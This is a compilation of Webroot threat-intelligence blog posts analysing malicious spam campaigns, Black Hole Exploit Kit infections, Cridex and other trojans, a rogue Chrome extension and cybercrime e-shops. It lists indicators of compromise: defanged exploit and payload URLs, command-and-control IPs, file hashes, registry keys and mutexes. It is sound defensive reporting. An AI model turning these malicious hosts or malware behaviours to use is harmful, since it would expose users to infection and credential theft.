Upon successful client-side exploitation, the campaign drops **MD5: b360fec7652688dc9215fd366530d40c** – detected by 28 out of 45 antivirus scanners as Worm:Win32/Cridex.E.

Once executed, the sample performs the following activities:

Accesses Firefox's Password Manager local database

Creates a thread in a remote process
Installs a program to run automatically at logon

It creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

With the following value: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] KB00121600.exe = ""%AppData%KB00121600.exe""*

It then creates the following Mutexes: *LocalXMM000003F8 LocalXMI000003F8 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4 LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8*

It also drops the following MD5s: *MD5: 9e7577dc5d0d95e2511f65734249eba9 MD5: 61bb88526ff6275f1c820aac4cd0dbe9 MD5: b360fec7652688dc9215fd366530d40c MD5: f6ee1fcaf7b87d23f09748cbcf5b3af5 MD5: d7a950fefd60dbaa01df2d85fefb3862 MD5: ed662e73f697c92cd99b3431d5d72091*

It then phones back to **209.51.221.247/AJtw/UCyqrDAA/Ud+asDAA.**

We've already seen the same command and control server used in the following previously profiled malicious campaigns:

Malicious 'Security Update for Banking Accounts' emails lead to Black Hole Exploit Kit Bogus Facebook 'pending notifications' themed emails serve client-side exploits and malware Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware 'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit Fake 'Flight Reservation Confirmations' themed emails lead to Black Hole Exploit Kit 'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit

The same email (solaradvent@yahoo.com) that was used to register the name server domains in this campaign, is also known to have registered the following domains: *AFRICANBEAT.NET ALEGRECAMPO.NET GAUGE-MASTER.NET TOMOLLALLAMAFARM.NET*

Responding to 59.57.247.185 are also the following malicious domains: *eaglepointecondo.org sessionid0147239047829578349578239077.pl pleansantwille.com ibertomoralles.com eaglepointecondo.co eaglepointecondo.biz ansncm.org canbmn.org hfeitu.net labpr.com namelesscorn.net platinumbristol.net porkystory.net robertokarlosskiy.su romoviebabenki.ru seldomname.com winterskyserf.ru*

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Change Facebook Color Theme' events lead to rogue Chrome extensions - Webroot Blog

facebook linkedin twitter

Cybercriminals have recently launched a privacy-violating campaign spreading across Facebook in an attempt to trick Facebook's users into installing a rogue Chrome extension. Once installed, it will have access to all the data on all web sites, as well as access to your tabs and browsing history.

More details:

Sample screenshot of one of the few currently active Facebook Events promoting the rogue Chrome extension:

The campaign is relying on automatically registered Tumblr accounts, where the actual redirection takes place. Users are exposed to the following page, enticing them into changing their Facebook color theme:

Once users accept the EULA and Privacy Policy, they will become victims of the privacy-violating Chrome extension:

To further improve its legitimacy, and to play by **Google's newly introduced strategy to fight rogue Chrome extensions** , the cybercriminals behind the campaign not only hosted it on Amazon's cloud, they also featured it in Chrome's Web Store:

In case users choose not to accept the EULA and the Privacy Policy, the cybercriminals behind the campaign will once again attempt to monetize the hijacked Facebook traffic by asking them to participate in surveys, part of CPA (Cost-Per-Action) affiliate network, earning them money:

Sample Facebook Events spreading the bogus Tumblr URIs:
hxxps://www.facebook.com/events/389748451108256/
hxxps://www.facebook.com/events/463366360367776/
hxxps://www.facebook.com/events/479634408745393/
hxxps://www.facebook.com/events/476440942398408/

Sample automatically registered Tumblr accounts participating in the campaign: *hxxp://ixhg7wadu.tumblr.com/?28479630128 hxxp://6upe014h7.tumblr.com/?3411365086213 hxxp://akecnjhpn.tumblr.com/?8892833241261 hxxp://zuodxt5yq.tumblr.com/?5593177247792 hxxp://xr8o8wc2t.tumblr.com/?1936588422396*

Redirection takes place through the following IP: *hxxp://50.57.129.34/ping/redirect2.php (AS19994)*

Amazon Cloud hosting URL: *hxxp://redf6.s3-website-us-east-1.amazonaws.com/last2.html*

Google Chrome Web Store hosting URL: *https://chrome.google.com/webstore/detail/facebook-red/djicdajegmppedmnlgkhgjgejlgeblei*

Users are advised to be extra cautious when accepting EULAs and Privacy Policies, in particular when installing browser extensions that have the capacity to access sensitive and personally identifiable data on their PCs.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals entice potential cybercriminals into purchasing bogus credit cards data - Webroot Blog

facebook linkedin twitter

With the ever-decreasing entry barriers into the shady world of cybercrime, potential cybercriminals themselves may sometimes become the victims.

A recently intercepted fraudulent email sheds more light into the process of how cybercriminals attempt to scam novice cybercriminals, and also puts the spotlight on the QA (Quality Assurance) practices within the cybercrime ecosystem, each and every time a transaction or a transfer of fraudulently obtained assets is about to occur.

More details:

Sample screenshot of the spamvertised email:

What we've got here is a great example of an OPSEC-unaware (Operational Security) fraudster that's actually exposing himself — instead of forwarding the risk to a third-party — by basically spamvertising tens of thousands of emails offering access to fraudulent obtained credit card data. Although he's apparently targeting English speaking novice cybercriminals, the email also includes several sentences in Russian in an attempt to make his proposition more appealing to an unaware potential victim that's about to purchase the non-existent assets.

To further improve the authenticity of his email, he even attached a spreadsheet containing automatically generated credit card numbers+affected person's personal data — such tools have been publicly available for over a decade — as well as another document supposedly containing **Track1 and Track2 data** .

Sample screenshot of the automatically generated bogus credit cards data found in the spreadsheet:

Second screenshot of the bogus data found in the spamvertised spreadsheet:

Sample screenshot of the bogus Track1 and Track2 data:

For years, cybercriminals have been exchanging these fraudulently obtained assets through cybercrime-friendly Web communities and E-shops (**A peek inside a boutique cybercrime-friendly E-shop – part five** ; **New Russian service sells access to compromised Steam accounts** ; **Recently launched E-shop sells access to hundreds of hacked PayPal accounts** ; **Exposing the Market for Stolen Credit Cards Data**). These sources, both public and invite/vetted access only, attempt to prevent potential fraudsters — also known as rippers within the cybercrime ecosystem — from polluting a Web community's database of fresh advertisements for newly available underground market assets. They don't tend to pitch John Doe with tens of thousands of emails in mass advertising campaigns, at least not in the cases where they actually care about their OPSEC (Operational Security).

Although there will always be fraudulent schemes like the ones profiled in this post, over the years, experienced cybercriminals have successfully applied basic QA (Quality Assurance) practices which have resulted in an increased quality of the underground market propositions and less propositions from unverified sellers who try to defraud experienced cybercriminals.

Is the tactic of having a **cybercriminal attempt to scam a potential cybercriminal** a trend or a fad? It's an every day reality that we'll continue monitoring.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake Chase 'Merchant Billing Statement' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing tens of thousands of emails, impersonating Chase in an attempt to trick its customers into executing the malicious attachment found in the fake email. Upon execution, the sample downloads additional malware on the affected hosts, and opens a backdoor allowing the cybercriminals behind the campaign complete access to the host.

More details:

Sample screenshot of the spamvertised email:

We managed to intercept two separate campaigns launched by the same malicious party. What's particularly interesting about the first is that, the cybercriminal/cybercriminals behind it applied low QA (Quality Assurance) since the actual filename found in the malicious archive exceeds 260 characters, resulting in a failed extraction process on Windows hosts.

"*C:UsersWorkstationDesktopStatement_random_number.pdf.zip: Cannot create Statement_ID_random_number.pdf.exe Total path and file name length must not exceed 260 characters. The system cannot find the path specified.* "

Sample detection rate for the spamvertised attachment: MD5: 676c1a01739b855425f9492126b34d23 – detected by 42 out of 46 antivirus scanners as Trojan-PSW.Win32.Tepfer.cbrv.

The same MD5 is known to have downloaded two additional MD5s: MD5: ED3C1D1EFC3789FABEDD630E3995F24B – detected by 35 out of 46 antivirus scanners as Trojan.Win32.Agent2.fjti
MD5: 6C7B44F2BC4FCF175C3CA5C0634E127C – detected by 30 out of 40 antivirus scanners as VirTool:Win32/Obfuscator.ACV

Upon execution, the sample attempts to download the following malicious executables: *hxxp://mjorart.com/jTc.exe hxxp://bestinsighttours.com/bZ6.exe hxxp://rdquark.com/cAB.exe hxxp://quranaqiq.com/1kH.exe hxxp://www.westquimica.com/AuNP5.exe hxxp://www.superelectronico.com/cPY.exe hxxp://www.jagatoko.com/W14C.exe hxxp://muzikmeno.com/Y5m0Sx.exe hxxp://eds-kurier.de/mpzna.exe*

All of these files have an identical MD5 – **MD5: 77d94b9d2fa0569ef5aecf1b93985d81** – detected by 34 out of 45 antivirus scanners as W32/Kryptik.ALRY!tr.

Upon execution, it creates the following files on the affected host: *%AppData%Labuguimuffo.exe* – **MD5: 567C27851F534F624279B6B97E8D6B44** *%AppData%jianp.odq* – **MD5: C2327617D125D6612AF63D182C05F23B** *%Temp%tmp06c81ac7.bat* – **MD5: FBE24DEE826D245D60EDC053B9A86B31**

As well as the following process: *C:Documents and Settings<USER>Application DataIdukahowit.exe*

To mark its presence on the system, the malware also creates the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE} Global{C517129D-E0AF-DBAB-0508-B06D3016937F} Global{C517129D-E0AF-DBAB-7109-B06D4417937F} Global{C517129D-E0AF-DBAB-490A-B06D7C14937F} Global{C517129D-E0AF-DBAB-610A-B06D5414937F} Global{C517129D-E0AF-DBAB-8D0A-B06DB814937F} Global{C517129D-E0AF-DBAB-990A-B06DAC14937F} Global{C517129D-E0AF-DBAB-350B-B06D0015937F} Global{C517129D-E0AF-DBAB-610B-B06D5415937F} Global{C517129D-E0AF-DBAB-B90B-B06D8C15937F} Global{C517129D-E0AF-DBAB-1D0C-B06D2812937F} Global{C517129D-E0AF-DBAB-410C-B06D7412937F} Global{C517129D-E0AF-DBAB-690C-B06D5C12937F} Global{C517129D-E0AF-DBAB-BD0D-B06D8813937F} Global{C517129D-E0AF-DBAB-2D0E-*

*B06D1810937F} Global{C517129D-E0AF-DBAB-650E-
B06D5010937F} Global{C517129D-E0AF-DBAB-F508-
B06DC016937F} Global{C517129D-E0AF-DBAB-ED0B-
B06DD815937F} Global{C517129D-E0AF-DBAB-050D-
B06D3013937F} Global{C517129D-E0AF-DBAB-B90E-
B06D8C10937F} Global{C517129D-E0AF-DBAB-750F-
B06D4011937F} Global{C517129D-E0AF-DBAB-C90D-
B06DFC13937F}*

Makes DNS request to **3.soundfactor.org** , then it establishes a TCP connection with **184.184.247.60:14511** , as well as UDP connections to the following IPs: **184.184.247.60:23089 99.124.198.193:13197 78.93.215.24:14225 68.167.50.61:28650**

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently attempting to trick hundreds of thousands of users into clicking on the malicious links found in the currently spamvertised bogus '*Sendspace File Delivery Notifications* '.

Upon clicking on any of the links found in the email, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised malicious URIs: *hxxp://mininet.nl/forwarding.htm* ; *hxxp://hd-group.cn/redirect.htm* ; *hxxp://cztiyu.com/upload.htm*

Sample client-side exploits serving URL: *hxxp://canadianpanakota.ru:8080/forum/links/column.php* ; *hxxp://anifkailood.ru:8080/forum/links/column.php* ; *hxxp://pelamutrika.ru:8080/forum/links/public_version.php*

Sample malicious payloa dropping URL: *hxxp://canadianpanakota.ru:8080/forum/links/column.php?bwi=1i:2w:1h:1n:1l&oaera=3l&zmbxivwt=2v:1k:1m:32:33:1k:1k:31:1j:1o&evgiw=1n:1d:1g:1d:1h:1d:1f*

Sample client-side exploits served: CVE-2010-0188

Upon successful client-side exploitation, the campaign drops **MD5: 532bdd2565cae7b84cb26e4cf02f42a0** – detected by 33 out of 44 antivirus scanners as Worm:Win32/Cridex.E

Once executed it creates *%AppData%kb00121600.exe* on the affected system.

The sample also creates the following registry entries: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

As well as the following Mutexes: *LocalXMM00000418 LocalXMI00000418 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4 LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8*

It then phones back to **hxxp://210.253.102.95:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/** and to **hxxp://123.49.61.59:8080/AJtw/UCyqrDAA/Ud+asDAA/**

We've already seen the same pseudo-randomly generated C&C characters used in the first 'phone back request' (**DPNilBA/ue1elBAAAA/tlSHAAAAA/**) used in the following previously profiled malicious campaigns:

Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware

Not surprisingly, we've also seen the second 'phone back' IP (**123.49.61.59**) used in the following campaigns:

Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware

As well as the actual pseudo-randomly generated characters used in the second C&C (**AJtw/UCyqrDAA/Ud+asDAA/**) in the following analyses:

Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits 'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware

Malicious domain names reconnaissance: canadianpanakota.ru – 120.138.20.54; 203.80.16.81; 202.180.221.186

Name server: **ns1.canadianpanakota.ru** – 62.76.178.233
Name server: **ns2.canadianpanakota.ru** – 132.248.49.112
Name server: **ns3.canadianpanakota.ru** – 84.22.100.108
Name server: **ns4.canadianpanakota.ru** – 65.99.223.24

The following malicious domains also respond to the same IP: **forumibiza.ru donkihotik.ru lemonadiom.ru peneloipin.ru finitolaco.ru moneymakergrow.ru fionadix.ru**

pelamutrika.ru – 202.180.221.186
Name server: **ns1.pelamutrika.ru** – 62.76.189.72
Name server: **ns2.pelamutrika.ru** – 41.168.5.140
Name server: **ns3.pelamutrika.ru** – 132.248.49.112
Name server: **ns4.pelamutrika.ru** – 209.51.221.247
Name server: **ns5.pelamutrika.ru** – 208.87.243.196
Name server: **ns6.pelamutrika.ru** – 216.99.149.226

The following malicious domains also respond to the same IP:
ganiopatia.ru – 202.180.221.186
pelamutrika.ru – 202.180.221.186
ganalionomka.ru – 202.180.221.186
genevaonline.ru – 202.180.221.186
francese.ru – 202.180.221.186
podarunoki.ru – 202.180.221.186
publicatorian.ru – 202.180.221.186
cinemaallon.ru – 202.180.221.186
pitoniamason.ru – 202.180.221.186
leberiasun.ru – 202.180.221.186
dimarikanko.ru – 202.180.221.186
somaliaonfloor.ru – 202.180.221.186
panamechkis.ru – 202.180.221.186

anifkailood.ru – 202.180.221.186; 212.162.52.180; 212.162.56.210
Name server: **ns1.anifkailood.ru** – 62.76.189.72
Name server: **ns2.anifkailood.ru** – 62.76.177.104
Name server: **ns3.anifkailood.ru** – 41.168.5.140
Name server: **ns4.anifkailood.ru** – 209.51.221.247
Name server: **ns5.anifkailood.ru** – 42.121.116.38
Name server: **ns6.anifkailood.ru** – 110.164.58.250

The following malicious domains also respond to the same IP:

ganiopatia.ru – 202.180.221.186
pelamutrika.ru – 202.180.221.186
ganalionomka.ru – 202.180.221.186
anifkailood.ru – 202.180.221.186
genevaonline.ru – 202.180.221.186
francese.ru – 202.180.221.186
podarunoki.ru – 202.180.221.186
publicatorian.ru – 202.180.221.186
cinemaallon.ru – 202.180.221.186
pitoniamason.ru – 202.180.221.186
leberiasun.ru – 202.180.221.186
dimarikanko.ru – 202.180.221.186
somaliaonfloor.ru – 202.180.221.186
panamechkis.ru – 202.180.221.186

We've also seen some of these malicious domains used in previously profiled campaigns, indicating that the cybercriminal/gang of cybercriminals behind these attacks are continuing to rotate the impersonated brands and launch new social engineering driven campaigns in the wild.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Flight Reservation' Emails Lead To Black Hole Exploit Kit | Webroot

facebook linkedin twitter

In the midst of the holidays season, cybercriminals are currently spamvertising tens of thousands of malicious "*Flight Reservation Confirmations* ", in an attempt to trick users into clicking on the link found in the fake emails. Once they click on the link, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://minjust.isfb.ru/mail.htm* ; *hxxp://wrigglepot.com/mail.htm*

Sample client-side exploits serving URL: *hxxp://cinemaallon.ru:8080/forum/links/column.php*

Sample malicious payload dropping URL: *hxxp://cinemaallon.ru:8080/forum/links/column.php?column.php?swo=030b360207&amp;sdxuyi=46&amp;wgqadt=3307093738070736060b&amp;jtoasosd=02000200020002%22%20width=%221%22%20height=%221%22*

Sample client-side exploits served: **CVE-2010-0188**

Surprisingly, upon successful client-side exploitation, the campaign returns an empty response, indicating that the cybercriminals behind the campaign have applied a low QA (Quality Assurance) to this particular campaign.

Malicious domain name reconnaissance: **cinemaallon.ru** – 42.121.116.38 (AS37963); 202.180.221.186 (AS24496); 208.87.243.131 (AS40676)
ns1.cinemaallon.ru – 62.76.189.72
ns2.cinemaallon.ru – 41.168.5.140
ns3.cinemaallon.ru – 132.248.49.112
ns4.cinemaallon.ru – 209.51.221.247

ns5.cinemaallon.ru – 208.87.243.196
ns6.cinemaallon.ru – 216.99.149.226

We've already seen these IPs in the recently profiled "**Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit** ", indicating that both campaigns have been launched by the same malicious party.

We're also aware of more client-side exploits serving URLs that used to respond to these IPs in the past, for instance:
hxxp://ganiopatia.ru:8080/forum/links/column.php
hxxp://publicatorian.ru:8080/forum/links/public_version.php
hxxp://dimarikanko.ru:8080/forum/links/column.php
hxxp://podarunoki.ru:8080/forum/links/column.php
hxxp://gurmanikia.ru:8080/forum/links/column.php
hxxp://somaliaonfloor.ru:8080/forum/links/public_version.php
hxxp://aliamognoa.ru:8080/forum/links/public_version.php
hxxp://cinemaallon.ru:8080/forum/links/column.php
hxxp://leberiasun.ru:8080/forum/links/column.php
hxxp://dimarikanko.ru:8080/forum/links/column.php
hxxp://delemiator.ru:8080/forum/links/column.php
hxxp://ganalionomka.ru:8080/forum/links/public_version.php

Dropped MD5s upon successful client-side exploitation:
hxxp://ganiopatia.ru:8080/forum/links/column.php – **MD5: a8ccedc5fe10ea98cb84a8ad20901d8e** – detected by 28 out of 44 antivirus scanners as Worm:Win32/Cridex.E
hxxp://dimarikanko.ru:8080/forum/links/column.php – **MD5: a8ccedc5fe10ea98cb84a8ad20901d8e** – detected by 28 out of 44 antivirus scanners as Worm:Win32/Cridex.E
hxxp://podarunoki.ru:8080/forum/links/column.php – **MD5: a8ccedc5fe10ea98cb84a8ad20901d8e** – detected by 28 out of 44 antivirus scanners as Worm:Win32/Cridex.E
hxxp://dimarikanko.ru:8080/forum/links/column.php – **MD5: a8ccedc5fe10ea98cb84a8ad20901d8e** – detected by 28 out of 44 antivirus scanners as Worm:Win32/Cridex.E
hxxp://delemiator.ru:8080/forum/links/column.php – **MD5: 8229f69bc416cdca7f314f19fe7b4e18** – detected by 36 out of 44 antivirus scanners as Worm:Win32/Cridex.E

hxxp://ganalionomka.ru:8080/forum/links/public_version.php – **MD5: 08389cb32629aeb9dcb178dfde9bf728** – detected by 31 out of 46 antivirus scanners as Worm:Win32/Cridex.E
hxxp://publicatorian.ru:8080/forum/links/public_version.php – **MD5: b59e13c6a3c6c1ccd322ba39a7085f08** – detected by 25 out of 45 antivirus scanners as Worm:Win32/Cridex.E

Responding to these IPs (42.121.116.38 (AS37963); 202.180.221.186 (AS24496); 208.87.243.131 (AS40676) are also the following malicious domains:
ganiopatia.ru pelamutrika.ru francese.ru podarunoki.ru publicatorian.ru cinemaallon.ru pitoniamason.ru leberiasun.ru

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop – part five - Webroot Blog

facebook linkedin twitter

Seeking financial liquidity for their fraudulently obtained assets, novice cybercriminals continue launching new DIY cybercrime-friendly e-shops offering access to **compromised accounts** , **harvested email databases** , and accounts that have been purchased using **stolen credit card data** , in an attempt to diversify their portfolio and, consequently, increase the probability of a successful purchase from their shops.

In this post, I'll profile one of the most recently launched cybercrime-friendly e-shops, continuing the "*A peek inside a boutique cybercrime-friendly E-shop* " series.

More details:

Entry page for the cybercrime-friendly E-shop:

Welcome page for the cybercrime-friendly e-shop:

Sample inventory of fraudulently obtained accounting assets:

The E-shop currently offers RDP, Root and SSH accounting data, as well as DIY Spam Mailers and "marketing leads", namely, **harvested databases of email addresses** , with the prices varying between $8-$15. Thanks to the overall availability of DIY crimeware and malware loaders, next to stolen credit card details available for purchase, we expect to see more of these E-shops, with the novice cybercriminals behind them continuing to rely on basic market development practices such as penetration pricing, in an attempt to steal market share from sophisticated cybercriminals offering the same fraudulently obtained assets, as theirs.

Go through previous post profiling the activities of related e-shops:

A peek inside a boutique cybercrime-friendly E-shop A peek inside a boutique cybercrime-friendly E-shop – part two A peek inside a boutique cybercrime-friendly E-shop – part three A peek inside a boutique cybercrime-friendly E-shop – part four

We’ll continue monitoring this emerging trend within the cybercrime ecosystem, and post new updates as soon as new boutique cybercrime-friendly e-shops get launched.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious 'Security Update for Banking Accounts' emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals have recently launched yet another massive spam campaign attempting to trick e-banking users into thinking that their ability to process **ACH transactions** has been temporarily disabled. Upon clicking on the link found in the malicious email, users are exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs: *hxxp://promic.pl/page4.htm hxxp://promic.pl/rating.htm*

Sample client-side exploits serving URLs: *hxxp://bamanaco.ru:8080/forum/links/column.php hxxp://lentuiax.ru:8080/forum/links/column.php*

Malicious domains reconnaissance: bamanaco.ru – 82.165.193.26 (AS8560); 203.80.16.81 (AS24514); 216.24.196.66 (AS40676)

Name servers: ns1.bamanaco.ru -62.76.178.233
ns2.bamanaco.ru – 41.168.5.140
ns3.bamanaco.ru – 132.248.49.112
ns4.bamanaco.ru – 209.51.221.247

lentuiax.ru – 203.80.16.81 (AS24514)

Name servers:
ns1.lentuiax.ru – 62.76.178.233
ns2.lentuiax.ru – 41.168.5.140
ns3.lentuiax.ru – 132.248.49.112
ns4.lentuiax.ru – 209.51.221.247

Sample detection rate for the redirection script: **MD5: 35e6ddb6ce4229d36c43d9d3ccd182f3** – detected by 21 out of 44 antivirus scanners as Trojan-Downloader.JS.Iframe.dby.

Although we couldn't reproduce the malicious exploitation taking place through **bamanaco.ru** and **lentuiax.ru** , we found out that, during the time of the attack, similar client-side exploit serving URIs were also responding to the same IPs, leading us to the actual malicious payload found on two of these domains.

Responding to same IPs at the time of the attack were also the following malicious domains: *hxxp://ganiopatia.ru:8080/forum/links/column.php*
hxxp://dimarikanko.ru/forum/links/column.php

Upon successful client-side exploitation, both domains serve **MD5: 3a1d644172308dc358121bd2984a57a4** – detected by 30 out of 46 antivirus scanners as Trojan:Win32/Tobfy.I.

Upon execution, it creates the following process in the system: *%AppData%kb00121600.exe*

It also creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4*
HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B

Next it also creates the following mutexes on the system: *LocalXMM000004B8 LocalXMI000004B8 LocalXMRFB119394 LocalXMM000000C8 LocalXMI000000C8 LocalXMM000000D4 LocalXMI000000D4 LocalXMM000000F0 LocalXMI000000F0 LocalXMM00000148 LocalXMI00000148*

It then phones back to **173.224.215.130/AJtw/UCygrDAA/Ud+asDAA** (AS40676). The IP responds to **beast.unixbsd.info** – Email: abuse@psychz.net

Another MD5 is known to have phoned back to the same IP: **MD5: 3bf5c62fe6e18bc93073ecf79e079020** – detected by 15 out of 45 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.biiy.

We've already seen the same static command and control server characters used in the following previously profiled campaigns:

Cybercriminals spamvertise bogus ‘Microsoft License Orders’ serve client-side exploits and malware Bogus ‘Meeting Reminder” themed emails serve malware ‘American Express Alert: Your Transaction is Aborted’ themed emails serve client-side exploits and malware Bogus IRS ‘Your tax return appeal is declined’ themed emails lead to malware

Responding to the IPs of the client-side exploits serving domains – 82.165.193.26 (AS8560); 203.80.16.81 (AS24514); 216.24.196.66 (AS40676) – are also the following malicious/fraudulent domains: **investinindia.ru feronialopam.ru lemonadiom.ru monacofrm.ru bamanaco.ru investomanio.ru veneziolo.ru fanatiaono.ru lentuiax.ru limonadiksec.ru fionadix.ru forumibiza.ru investomanio.ru geforceexlusive.ru finitolaco.ru monacofrm.ru lemonadiom.ru panasonicviva.ru sonatanamore.ru veneziolo.ru linkrdin.ru neighborhoodappraiser.com jpjay.co.uk findlocalappraiser.com 4egos.com neighborhoodappraisers.com musthavecentral.com findaneighborhoodappraiser.com reputationangels.com findneighborhoodappraiser.com**

A huge percentage of these domains have been previously profiled in a series of malicious campaigns, indicating that these campaigns continue getting launched by the same cybercriminal/gang of cybercriminals.

Name servers part of the campaign’s infrastructure:
ns1.investinindia.ru – 62.76.178.233
ns2.investinindia.ru – 41.168.5.140
ns3.investinindia.ru – 132.248.49.112
ns4.investinindia.ru – 209.51.221.247
ns1.feronialopam.ru – 62.76.178.233
ns2.feronialopam.ru – 41.168.5.140
ns3.feronialopam.ru – 132.248.49.112
ns4.feronialopam.ru – 209.51.221.247
ns1.lemonadiom.ru – 85.143.166.170
ns2.lemonadiom.ru – 132.248.49.112
ns3.lemonadiom.ru – 84.22.100.108
ns4.lemonadiom.ru – 213.251.171.30

ns1.monacofrm.ru – 62.76.178.233
ns2.monacofrm.ru – 41.168.5.140
ns3.monacofrm.ru – 132.248.49.112
ns4.monacofrm.ru – 209.51.221.247
ns1.bamanaco.ru – 62.76.178.233
ns2.bamanaco.ru – 41.168.5.140
ns3.bamanaco.ru – 132.248.49.112
ns4.bamanaco.ru – 209.51.221.247
ns1.investomanio.ru – 62.76.178.233
ns2.investomanio.ru – 41.168.5.140
ns3.investomanio.ru – 132.248.49.112
ns4.investomanio.ru – 209.51.221.247
ns1.veneziolo.ru – 62.76.178.233
ns2.veneziolo.ru – 41.168.5.140
ns3.veneziolo.ru – 132.248.49.112
ns4.veneziolo.ru – 209.51.221.247
ns1.fanatiaono.ru – 62.76.178.233
ns2.fanatiaono.ru – 41.168.5.140
ns3.fanatiaono.ru – 132.248.49.112
ns4.fanatiaono.ru – 209.51.221.247
ns1.lentuiax.ru – 62.76.178.233
ns2.lentuiax.ru – 41.168.5.140
ns3.lentuiax.ru – 132.248.49.112
ns4.lentuiax.ru – 209.51.221.247

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Bogus 'Facebook Account Cancellation Request' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Facebook users, watch what you click on!

Cybercriminals are currently mass mailing bogus "*Facebook Account Cancellation Requests* ", in an attempt to trick Facebook's users into clicking on the malicious link found in the email. Upon clicking on the link, users are exposed to client-side exploits which ultimately drop malware on the affected host.

More details:

Sample screenshot of the spamvertised email:

Sample client-side exploitation chain: *hxxp://adlinkservhost.strangled.net* -> *hxxp://lakkumigdc.com/media/clients/index.php?showtopic=397065* -> *hxxp://lakkumigdc.com/media/clients/rhin.jar* -> *hxxp://lakkumigdc.com/media/clients/Goo.jar* -> *hxxp://lakkumigdc.com/media/clients/lib.php* -> *hxxp://lakkumigdc.com/media/clients/load.php?showforum=lib*

Sample client-side exploits served: *CVE-2010-0188* ; *CVE-2011-3544* ; *CVE-2010-0840*

Malicious domain name reconnaissance: lakkumigdc.com – 68.168.100.135 – Email: dolphinkarthi@gmail.com
Name Server: **NS1.MACROVIEWTECH.COM** – 68.168.100.136
